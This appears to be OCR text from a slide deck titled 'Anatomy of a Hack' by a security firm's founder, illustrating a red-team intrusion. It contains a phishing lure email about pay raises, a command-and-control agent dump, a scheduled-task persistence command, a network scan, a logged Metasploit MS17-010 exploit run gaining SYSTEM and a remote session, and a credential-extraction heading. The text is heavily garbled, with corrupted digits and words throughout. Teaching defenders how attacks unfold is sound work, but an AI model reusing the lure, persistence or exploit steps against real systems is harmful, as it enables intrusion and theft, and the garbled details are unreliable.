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Anatomy of a Hack

Christopher Emerson
CEO & Founder, White Oak Security, Inc
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Husband & Father
CEO & Founder @ White Oak Security

Built Offensive Security Programs for Fortune 100 Companies
Geek




Why?

» Knowledge

« Informed Decision Making

» Alternate Viewpoints




red team vs penetration test
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About 27,800,000 results (0.58 seconds)
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Each year bring changes and challenges for organizations. With the passing of the Tax Cuts and Jobs Act of 2017 employers
have been given the opportunity to reinvest in their company and employees. means fantastic news for our staff
with changes to Pay Scales and Bonus Structure that benefits you.

Effective March 12, 2018 you'll start nutlcin chans to your pay. In addition to your performance raise and increased take-

home due to changes in the tax code ding an additional 1-5% to your salary depending on your paygrade.

We've made the full details available to download at your convenience.

-would like to thank you for an outstanding 2017 Fiscal Year, and we all look forward to what 2018 bring us.

Since i




*] Agent info:

1759538603030242
8.7
None

internal ip

working hours

session_key \=nB6. {fy!wkmprh- ) 1z5cKS joLDeC2X
children None

checkin time 2018-62-87 8

hastname

id

delay 5

Usernamng

kill date -

parent ne

process name enable

listener https

process id 11176

prnhle Jtransfer.as tasks /update.asp, fusers/activate.asp, fegn/process.asp|M
ozilla/5.8 (Windows NT 18.0; wWOWS4: Trident/7.8; rv:11.8) like Geckd

os_details Microsoft Windows 7 Enterprise

lost_limit 68

taskings ane

name

language rshell R i

external_ip /30y i 3 65536 -DFEFABSESERATE 1454 . THP
session 1d 3 :51: 16384 ~DFF LAGGA0BDF TTBCCE . THP

t 2818-82-87 17:13:18 f11/2018 8: 65536 ~DFF24A22C 20A95009C . THP
{::,;:;2 ::‘T":mn ;513 02-07 17:13:18 F11/72818 4:4 16384 ~DFF 2 TRAGCBDAGESELS . THP
high : :

- 512 ~DFF 3025210204 F0831 . THP
g F26/2017 11:10:43 AM 32768 ~DFF3330671B018167F . THP
26/2018 4:56:16 PM 65326 -DFFAFCOZADOIFLELED . THP

B18-82-87 19:28:12 :
sked agent to run shell cossand HEEEEER /create fsc daily /st 11:30 /ftn “File Sync® Jtr "r_:\Llao-'-,-.,-'-.l;-pn-lh'l.l:-L'h'l'-.Tt"h:-'-.H|.t' sync . bat

B1B-82-87 19:28:13 :









pst is up (0.015s latency).
ORT STATE SERVICE VERSION
S/tcp open microsoft-ds Microsoft Windows 2003 or 2008 microsoft-ds
rning: 055can results may be unreliable because we could not find at least 1 open and 1 closed port
evice type: general purpose
unning: Microsoft Windows XP|2063
details: Microsoft Windows XP SF2 or Server 2083 SP1 or SP2
etwork Distance: 8 hops
ervice Info: 05: Windows

st script results:
nbstat: HetBIDS name:
smbv?-enabled: Server doesn't support SMBv2 protoco
smb-os-discovery:
05:| Windows Server 2003 3798 Service Pack 2 (Windows Server 2003

:;K[W,E e e ~ 1sf5 exploit(windows/smb/msl7 010 _psexec) > exploit

Started reverse TCP handler on
- Target 05: Windows Server 2003 R2 3790 Service Pack 2
- Filling barrel with fish... done

| Entering Danger Zone |
[*] Preparing dynamite...
Trying stick 1 (x64)...Miss
[*] Trying stick 2 (x86)...Boom!
[+] Successfully Leaked Transaction!
[+] Successfully caught Fish-in-a-barrel
| Leaving Danger Zone |
Reading from CONNECTION struct at: 8xB7863aade
Built a write-what-where primitive...
Overwrite complete... SYSTEM session obtained!
Selecting native target
Uploading payload...
Created \AszRxJPu.exe...
Service start

79 bytes) to
Deleting \
terpreter session 1 opened -> _ at 2018-62-15 20:10:0

+00066
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[ A
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Extract Cached Creds
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